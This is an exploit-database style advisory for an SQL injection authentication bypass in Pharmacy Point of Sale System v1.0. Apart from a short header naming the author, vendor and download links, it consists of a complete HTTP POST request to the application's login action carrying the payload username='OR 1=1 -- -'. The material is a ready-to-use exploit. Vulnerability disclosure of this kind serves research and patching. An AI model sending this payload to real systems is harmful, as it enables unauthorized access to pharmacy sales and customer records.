Pharmacy Point Of Sale System 1.0 SQL Injection

`# Exploit Title: Pharmacy Point of Sale System v1.0 - SQLi Authentication Bypass  
# Date: 23.09.2021  
# Exploit Author: Janik Wehrli  
# Vendor Homepage: https://www.sourcecodester.com/php/14957/pharmacy-point-sale-system-using-php-and-sqlite-free-source-code.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/pharmacy.zip  
# Version: 1.0  
# Tested on: Kali Linux, Windows 10  
  
# Pharmacy Point of Sale System v1.0 Login can be bypassed with a simple SQLi  
  
  
POST /pharmacy/Actions.php?a=login HTTP/1.1  
Host: 192.168.209.170  
Content-Length: 38  
Accept: application/json, text/javascript, */*; q=0.01  
X-Requested-With: XMLHttpRequest  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Origin: http://192.168.209.170  
Referer: http://192.168.209.170/pharmacy/login.php  
Accept-Encoding: gzip, deflate  
Accept-Language: de-CH,de-DE;q=0.9,de;q=0.8,en-US;q=0.7,en;q=0.6  
Cookie: PHPSESSID=c5mtnqpcavhfgsambtnh4uklag  
Connection: close  
  
username='OR+1%3D1+--+-&password=PWNED  
`